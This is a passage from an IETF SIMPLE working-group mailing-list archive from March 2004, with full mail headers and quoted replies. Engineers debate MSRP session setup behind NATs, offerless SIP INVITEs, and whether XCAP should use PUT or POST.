>>>>>>>>>>This is a half baked idea that I am just tossing out as food
>>>>>>>>>>for thought
>>>>>>>>>>
>>>>>>>>>>Consider a systems where something like the UA that sends the
>>>>>>>>>>answer sends
>>>>>>>>>>the VISIT.
>>>>>>>>>>
>>>>>>>>>>Consider the cases where A want to set up a MSRP
>>>>>>>>>
>>>>session with B.
>>>>
>>>>>>>>>>A is behind a NAT and does not want to use a relay. A sends
>>>>>>>>>>an INVITE with
>>>>>>>>>>no offer. B sends an offer, gets back an answer and A
>>>>>>>>>
>>>>>>>>sends the VISIT.
>>>>>>>>
>>>>>>>>
>>>>>>>>>>A -> inv    -> B
>>>>>>>>>>A <- offer  <- B
>>>>>>>>>>A -> answer -> B
>>>>>>>>>>A -> visit  -> B
>>>>>>>>>>
>>>>>>>>>>B is behind a NAT. A sends an offer and B sends an answer and
>>>>>>>>>>A sends VISIT.
>>>>>>>>>>A -> offer  -> B
>>>>>>>>>>A <- answer <- B
>>>>>>>>>>A <- visit  <- B
>>>>>>>>>>
>>>>>>>>>>A and B are behind NATS. A sends INVITE no offer, B knows
>>>>>>>>>>relay is needed
>>>>>>>>>>and gets one and sends offer.
>>>>>>>>>>
>>>>>>>>>>The underlying principal is basically if you don't know what
>>>>>>>>>>port you are
>>>>>>>>>>going to receive media at (which is the case with a NAT) you
>>>>>>>>>>should not be
>>>>>>>>>>making any offers and if you make an offer the assumption is
>>>>>>>>>>that the other
>>>>>>>>>>side and send media (a VISIT) to that and have it work.
>>>>>>>>>>
>>>>>>>>>>The fundamental thing I am trying to avoid is two vendors
>>>>>>>>>>both saying they
>>>>>>>>>>have MSRP compliant systems yet still having them fail to be
>>>>>>>>>>able to talk to
>>>>>>>>>>each other because they both expect the other one to host.
>>>>>>>>>>
>>>>>>>>>
>>>>>>>>>_______________________________________________
>>>>>>>>>Simple mailing list
>>>>>>>>>Simple@ietf.org
>>>>>>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>>>>>>
>>>>>>>>
>>>>>>>>
>>>>>>>>_______________________________________________
>>>>>>>>Simple mailing list
>>>>>>>>Simple@ietf.org
>>>>>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>_______________________________________________
>>>>>>>Simple mailing list
>>>>>>>Simple@ietf.org
>>>>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>>>>
>>>>>>
>>>_______________________________________________
>>>Simple mailing list
>>>Simple@ietf.org
>>>https://www1.ietf.org/mailman/listinfo/simple
>>>
>>
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar  4 01:53:54 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06710
	for <simple-archive@odin.ietf.org>; Thu, 4 Mar 2004 01:53:54 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AymjW-0007Dw-A9
	for simple-archive@odin.ietf.org; Thu, 04 Mar 2004 01:53:26 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i246rQeY027762
	for simple-archive@odin.ietf.org; Thu, 4 Mar 2004 01:53:26 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AymjW-0007Dh-2z
	for simple-web-archive@optimus.ietf.org; Thu, 04 Mar 2004 01:53:26 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06689
	for <simple-web-archive@ietf.org>; Thu, 4 Mar 2004 01:53:23 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AymjS-0001wL-00
	for simple-web-archive@ietf.org; Thu, 04 Mar 2004 01:53:22 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Aymig-0001l5-00
	for simple-web-archive@ietf.org; Thu, 04 Mar 2004 01:52:35 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aymhs-0001Yg-00; Thu, 04 Mar 2004 01:51:44 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AymhA-0006uW-Re; Thu, 04 Mar 2004 01:51:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AymgT-0006tE-8c
	for simple@optimus.ietf.org; Thu, 04 Mar 2004 01:50:17 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06497
	for <simple@ietf.org>; Thu, 4 Mar 2004 01:50:14 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AymgQ-0001Jw-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:50:14 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AymfY-000190-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:49:21 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aymem-0000hn-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:48:32 -0500
Received: from sj-core-2.cisco.com (171.71.177.254)
  by sj-iport-3.cisco.com with ESMTP; 03 Mar 2004 23:00:33 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id i246lxY6024881;
	Wed, 3 Mar 2004 22:48:00 -0800 (PST)
Received: from cisco.com (tokyo-vpn-user354.cisco.com [10.70.83.98])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGM96577;
	Thu, 4 Mar 2004 01:47:54 -0500 (EST)
Message-ID: <4046D119.6050407@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Cullen Jennings <fluffy@cisco.com>
CC: hisham.khartabil@nokia.com, Adam Roach <adam@dynamicsoft.com>,
        rohan@cisco.com, bcampbell@dynamicsoft.com, rsparks@dynamicsoft.com,
        simple@ietf.org
Subject: Re: [Simple] RE: MSRP & Comedia
References: <BC6CF596.341B4%fluffy@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 04 Mar 2004 01:47:53 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

I am probably guilty of taking this thread off the subject.

I agree with what Ben said elsewhere that this issue probably isn't 
germane to the general issue of who connects for msrp.

But Cullen's point is why I was poking at this. Maybe it needs to be 
taken to another context. As things stand I believe it is highly likely 
that devices supporting different combinations of media will not 
interoperate as well as one might expect they should. It will take at 
least some common agreement re best practices, and possibly some 
additional mechanisms (like use of preconditions to negotiate compatible 
media) to achieve a wholely satisfactory user experience.

	Paul

Cullen Jennings wrote:
> I've lost what the key part of this discussion is. Should we use it here? I
> agree - much rather not. Hope to find a better way.
> 
> However, UA Servers have to deal with Invites with no offer. If we want to
> deprecate this out of 3261 - that is going to be a big deal.  If we are
> defining something that does not work with 3261 - that is going to cause
> some grief. Definitely agree we should try not to use it.
> 
> On the stuff here, I wonder about the problems with a SDP offer that
> provides no way for the other end to send media to the device making the
> offer. 
> 
> 
> Cullen
> 
> 
> On 3/3/04 10:51 PM, "hisham.khartabil@nokia.com"
> <hisham.khartabil@nokia.com> wrote:
> 
> 
>>Just for the recond, I fully support adam's views on this issue.
>>
>>/Hisham
>>
>>
>>>-----Original Message-----
>>>From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
>>>ext Adam Roach
>>>Sent: 03.March.2004 12:39
>>>To: 'Rohan Mahy'; Adam Roach
>>>Cc: 'Paul Kyzivat'; Ben Campbell; 'Cullen Jennings'; Robert Sparks;
>>>simple@ietf.org
>>>Subject: RE: [Simple] RE: MSRP & Comedia
>>>
>>>
>>>I really don't like the prospect of requiring caller
>>>prefs to avoid these kind of bizarre and unfortunate
>>>user experiences.
>>>
>>>My main point is that using empty INVITEs seems to
>>>cause more problems than it solves. Are these problems
>>>completely intractable? Probably not. Are they
>>>unpleasant? Well, I certainly think so.
>>>
>>>So, given the chance, I'd far prefer to see solutions
>>>that don't require callee offers explored before we
>>>resort to a tool that brings unpleasant consequences
>>>(or, at the very least, specific additional mechanisms
>>>added throughout the system).
>>>
>>>/a
>>>
>>>
>>>>-----Original Message-----
>>>>From: Rohan Mahy [mailto:rohan@cisco.com]
>>>>Sent: Wednesday, March 03, 2004 2:17
>>>>To: Adam Roach
>>>>Cc: 'Paul Kyzivat'; Ben Campbell; Rohan Mahy; 'Cullen
>>>>Jennings'; Robert
>>>>Sparks; simple@ietf.org
>>>>Subject: Re: [Simple] RE: MSRP & Comedia
>>>>
>>>>
>>>>Adam,
>>>>
>>>>You could use caller prefs even with your
>>>
>>>rusty/dusty/trusty "legacy"
>>>
>>>>SIP phone  ;-).
>>>>
>>>>You would need something to add media feature parameters to the
>>>>registration of the 7960 on its behalf.  This is not that
>>>
>>>big a deal.
>>>
>>>>thanks,
>>>>-rohan
>>>>
>>>>
>>>>On Mar 3, 2004, at 4:49 PM, Adam Roach wrote:
>>>>
>>>>
>>>>>That's all great. Now tell me how it works using
>>>>>the Cisco 7960 sitting on my desk right now. Assume
>>>>>that upgrading the software is not an option.
>>>>>
>>>>>/a
>>>>>
>>>>>
>>>>>>-----Original Message-----
>>>>>>From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>>>>>>Sent: Tuesday, March 02, 2004 20:09
>>>>>>To: Adam Roach
>>>>>>Cc: 'Cullen Jennings'; Ben Campbell; Robert Sparks; Rohan Mahy;
>>>>>>simple@ietf.org
>>>>>>Subject: Re: [Simple] RE: MSRP & Comedia
>>>>>>
>>>>>>
>>>>>>There are a couple of solutions to the bad user experience
>>>>>>you outline:
>>>>>>
>>>>>>- the UAC can use callerprefs to indicate what media it desires.
>>>>>>   For this to work the UAS would have to evaluate the
>>>>>
>>>callerprefs,
>>>
>>>>>>   which isn't currently required or expected.
>>>>>>
>>>>>>- preconditions could be used to ensure that there is a
>>>>>
>>>>satisfactory
>>>>
>>>>>>   agreement on media before alerting. In this particular
>>>>>>case it would
>>>>>>   be the UAS that inserts the preconditions as a way of
>>>>>
>>>>improving the
>>>>
>>>>>>   user experience at its end. Most any precondition would
>>>>>
>>>>do, though
>>>>
>>>>>>   the newly proposed connectivity precondition would be quite
>>>>>>   appropriate. A hypothetical new precondition relating to
>>>>>>negotiation
>>>>>>   of some acceptable (set of) media stream(s) might also be
>>>>>>interesting.
>>>>>>
>>>>>>Paul
>>>>>>
>>>>>>Adam Roach wrote:
>>>>>>
>>>>>>>Okay, so, the user experience you're promoting
>>>>>>>here would lead to a situation in which you open
>>>>>>>up your IM client, type in a message for me,
>>>>>>>and my desktop hard phone starts ringing. Several
>>>>>>>seconds later, I pick up the receiver, my hardphone
>>>>>>>sends a "200 OK" response, and... well, nothing
>>>>>>>good can come of any result at this point.
>>>>>>>
>>>>>>>If your client supports audio, my voice is suddenly
>>>>>>>coming out of your PC speakers. If not, the call
>>>>>>>is torn down, your client renders an error to you,
>>>>>>>sends me a bye, and I'm sitting there holding a dead
>>>>>>>handset.
>>>>>>>
>>>>>>>This is the problem that I've pointed out occasionally
>>>>>>>for several years: this "send an INVITE with no body"
>>>>>>>approach for setting up sessions causes all kinds
>>>>>>>of problems. It was originally added for interwork
>>>>>>>with the prehistoric H.323v1 procedures, and not killed
>>>>>>>because we observed that it can be used in this clever
>>>>>>>3pcc hack -- but it invariably leads to a message that
>>>>>>>semantically means the same thing as the dialog
>>>>>>>box that I sent earlier.
>>>>>>>
>>>>>>>/a
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>>-----Original Message-----
>>>>>>>>From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>>>>>Sent: Monday, March 01, 2004 8:38
>>>>>>>>To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
>>>>>>>>Cc: simple@ietf.org
>>>>>>>>Subject: Re: [Simple] RE: MSRP & Comedia
>>>>>>>>
>>>>>>>>
>>>>>>>>
>>>>>>>>It just sends an offer with all three and then the other ends
>>>>>>>>selects. This
>>>>>>>>is how SIP is today - you can send an invite with no offer
>>>>>>>>then get the
>>>>>>>>offer in the response and put the answer in the ack.
>>>>>>>>
>>>>>>>>On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
>>>>>>>>
>>>>>>>>
>>>>>>>>
>>>>>>>>>From a protocol perspective, this sounds reasonable.
>>>>>>>>>
>>>>>>>>>I think the key problem is that the first example shifts the
>>>>>>>>>decision of what type of communication is requested
>>>>>>>>>from the caller to the callee. Without getting into a
>>>>>>>>
>>>discussion
>>>
>>>>>>>>>of whether that is the "right" thing to do, it certainly is
>>>>>>>>>going to differ from user expectations.
>>>>>>>>>
>>>>>>>>>+----------------------------------------------+
>>>>>>>>>| Cullen Jennings <sip:fluffy@cisco.com> wants |
>>>>>>>>>| to start a conversation, but I have no idea  |
>>>>>>>>>| what kind. Take your best guess:             |
>>>>>>>>>|                                              |
>>>>>>>>>|    +-------+  +-----------------+  +----+    |
>>>>>>>>>|    | Voice |  | Voice and video |  | IM |    |
>>>>>>>>>|    +-------+  +-----------------+  +----+    |
>>>>>>>>>+----------------------------------------------+
>>>>>>>>>
>>>>>>>>>/a
>>>>>>>>>
>>>>>>>>>
>>>>>>>>>
>>>>>>>>>>-----Original Message-----
>>>>>>>>>>From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>>>>>>>Sent: Friday, February 27, 2004 0:50
>>>>>>>>>>To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
>>>>>>>>>>Cc: simple@ietf.org
>>>>>>>>>>Subject: MSRP & Comedia
>>>>>>>>>>
>>>>>>>>>>
>>>>>>>>>>
>>>>>>>>>>This is a half baked idea that I am just tossing out as food
>>>>>>>>>>for thought
>>>>>>>>>>
>>>>>>>>>>Consider a systems where something like the UA that sends the
>>>>>>>>>>answer sends
>>>>>>>>>>the VISIT.
>>>>>>>>>>
>>>>>>>>>>Consider the cases where A want to set up a MSRP
>>>>>>>>>
>>>>session with B.
>>>>
>>>>>>>>>>A is behind a NAT and does not want to use a relay. A sends
>>>>>>>>>>an INVITE with
>>>>>>>>>>no offer. B sends an offer, gets back an answer and A
>>>>>>>>>
>>>>>>>>sends the VISIT.
>>>>>>>>
>>>>>>>>
>>>>>>>>>>A -> inv    -> B
>>>>>>>>>>A <- offer  <- B
>>>>>>>>>>A -> answer -> B
>>>>>>>>>>A -> visit  -> B
>>>>>>>>>>
>>>>>>>>>>B is behind a NAT. A sends an offer and B sends an answer and
>>>>>>>>>>A sends VISIT.
>>>>>>>>>>A -> offer  -> B
>>>>>>>>>>A <- answer <- B
>>>>>>>>>>A <- visit  <- B
>>>>>>>>>>
>>>>>>>>>>A and B are behind NATS. A sends INVITE no offer, B knows
>>>>>>>>>>relay is needed
>>>>>>>>>>and gets one and sends offer.
>>>>>>>>>>
>>>>>>>>>>The underlying principal is basically if you don't know what
>>>>>>>>>>port you are
>>>>>>>>>>going to receive media at (which is the case with a NAT) you
>>>>>>>>>>should not be
>>>>>>>>>>making any offers and if you make an offer the assumption is
>>>>>>>>>>that the other
>>>>>>>>>>side and send media (a VISIT) to that and have it work.
>>>>>>>>>>
>>>>>>>>>>The fundamental thing I am trying to avoid is two vendors
>>>>>>>>>>both saying they
>>>>>>>>>>have MSRP compliant systems yet still having them fail to be
>>>>>>>>>>able to talk to
>>>>>>>>>>each other because they both expect the other one to host.
>>>>>>>>>>
>>>>>>>>>
>>>>>>>>>_______________________________________________
>>>>>>>>>Simple mailing list
>>>>>>>>>Simple@ietf.org
>>>>>>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>>>>>>
>>>>>>>>
>>>>>>>>
>>>>>>>>_______________________________________________
>>>>>>>>Simple mailing list
>>>>>>>>Simple@ietf.org
>>>>>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>_______________________________________________
>>>>>>>Simple mailing list
>>>>>>>Simple@ietf.org
>>>>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>>>>
>>>>>>
>>>_______________________________________________
>>>Simple mailing list
>>>Simple@ietf.org
>>>https://www1.ietf.org/mailman/listinfo/simple
>>>
>>
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar  4 01:59:10 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA07019
	for <simple-archive@ietf.org>; Thu, 4 Mar 2004 01:59:10 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aymp3-000321-00
	for simple-archive@ietf.org; Thu, 04 Mar 2004 01:59:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Aymo3-0002no-00
	for simple-archive@ietf.org; Thu, 04 Mar 2004 01:58:08 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aymn2-0002Vq-00; Thu, 04 Mar 2004 01:57:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Aymn0-0007Wq-3k; Thu, 04 Mar 2004 01:57:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AymmM-0007Rv-50
	for simple@optimus.ietf.org; Thu, 04 Mar 2004 01:56:22 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06905
	for <simple@ietf.org>; Thu, 4 Mar 2004 01:56:19 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AymmI-0002Tm-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:56:18 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AymlQ-0002Jk-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:55:25 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aymky-000292-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:54:56 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i246sth17666;
	Thu, 4 Mar 2004 08:54:55 +0200 (EET)
X-Scanned: Thu, 4 Mar 2004 08:54:05 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i246s5Od031809;
	Thu, 4 Mar 2004 08:54:05 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks003.ntc.nokia.com 00anD3bk; Thu, 04 Mar 2004 08:54:03 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i246s3O19479;
	Thu, 4 Mar 2004 08:54:03 +0200 (EET)
Received: from nokia.com ([10.162.253.37]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 4 Mar 2004 08:53:30 +0200
Message-ID: <4046D26B.70408@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ext Dean Willis <dean.willis@softarmor.com>
CC: simple@ietf.org
Subject: Re: [Simple] PUT vs POST in XCAP
References: <4046A8FA.5000008@softarmor.com>
In-Reply-To: <4046A8FA.5000008@softarmor.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 04 Mar 2004 06:53:31.0110 (UTC) FILETIME=[678B3060:01C401B5]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 04 Mar 2004 08:53:31 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit


ext Dean Willis wrote:
> 
> This became a heated discussion in today's XCON meeting.
> 
> I believe that the heart of the discussion around PUT vs POST hinges 
> on the following:
> 
> Is the operation:
> 
> 1) Storage of a resource into a repository
> 
> or
> 
> 2) Invocation of server-side logic on a parameter set being passed to
>  that logic.
> 
> Given that at least some of the CPCP logic has the server making a 
> transformation to the parameter set (adding the conference URI 
> element), I believe that we fall into case 2.

I disagree.

As was seen in today's excellent XCAP tutorial by Jonathan, you can very
well think of the system as consisting of two XCAP clients: a CPCP
client that PUTs the policy of a conference, and a CPCP client
(colocated with the conference server) that fills in the missing
details, like the conference URI.

Although I'm all for having discussion on this topic, I'd like to see
the counterproposal. What goes in the POST body? What then? It's really
hard to argue against imagineware...

> Certainly it would be much easier to build an XCAP implementation on 
> Apache's HTTPD using a POST interface than it would using a PUT 
> interface.

Could you elaborate? For example, does the CGI interface not give access
to the body of a PUT? What's the problem exactly?

Cheers,
Aki

<snip />

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar  4 01:59:43 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA07104
	for <simple-archive@odin.ietf.org>; Thu, 4 Mar 2004 01:59:43 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Aymp9-0007nL-9M
	for simple-archive@odin.ietf.org; Thu, 04 Mar 2004 01:59:16 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i246xF5w029943
	for simple-archive@odin.ietf.org; Thu, 4 Mar 2004 01:59:15 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Aymp9-0007ms-2n
	for simple-web-archive@optimus.ietf.org; Thu, 04 Mar 2004 01:59:15 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA07037
	for <simple-web-archive@ietf.org>; Thu, 4 Mar 2004 01:59:12 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aymp5-00032G-00
	for simple-web-archive@ietf.org; Thu, 04 Mar 2004 01:59:11 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Aymo4-0002nw-00
	for simple-web-archive@ietf.org; Thu, 04 Mar 2004 01:58:09 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aymn2-0002Vq-00; Thu, 04 Mar 2004 01:57:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Aymn0-0007Wq-3k; Thu, 04 Mar 2004 01:57:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AymmM-0007Rv-50
	for simple@optimus.ietf.org; Thu, 04 Mar 2004 01:56:22 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06905
	for <simple@ietf.org>; Thu, 4 Mar 2004 01:56:19 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AymmI-0002Tm-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:56:18 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AymlQ-0002Jk-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:55:25 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aymky-000292-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:54:56 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i246sth17666;
	Thu, 4 Mar 2004 08:54:55 +0200 (EET)
X-Scanned: Thu, 4 Mar 2004 08:54:05 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i246s5Od031809;
	Thu, 4 Mar 2004 08:54:05 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks003.ntc.nokia.com 00anD3bk; Thu, 04 Mar 2004 08:54:03 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i246s3O19479;
	Thu, 4 Mar 2004 08:54:03 +0200 (EET)
Received: from nokia.com ([10.162.253.37]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 4 Mar 2004 08:53:30 +0200
Message-ID: <4046D26B.70408@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ext Dean Willis <dean.willis@softarmor.com>
CC: simple@ietf.org
Subject: Re: [Simple] PUT vs POST in XCAP
References: <4046A8FA.5000008@softarmor.com>
In-Reply-To: <4046A8FA.5000008@softarmor.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 04 Mar 2004 06:53:31.0110 (UTC) FILETIME=[678B3060:01C401B5]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 04 Mar 2004 08:53:31 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit


ext Dean Willis wrote:
> 
> This became a heated discussion in today's XCON meeting.
> 
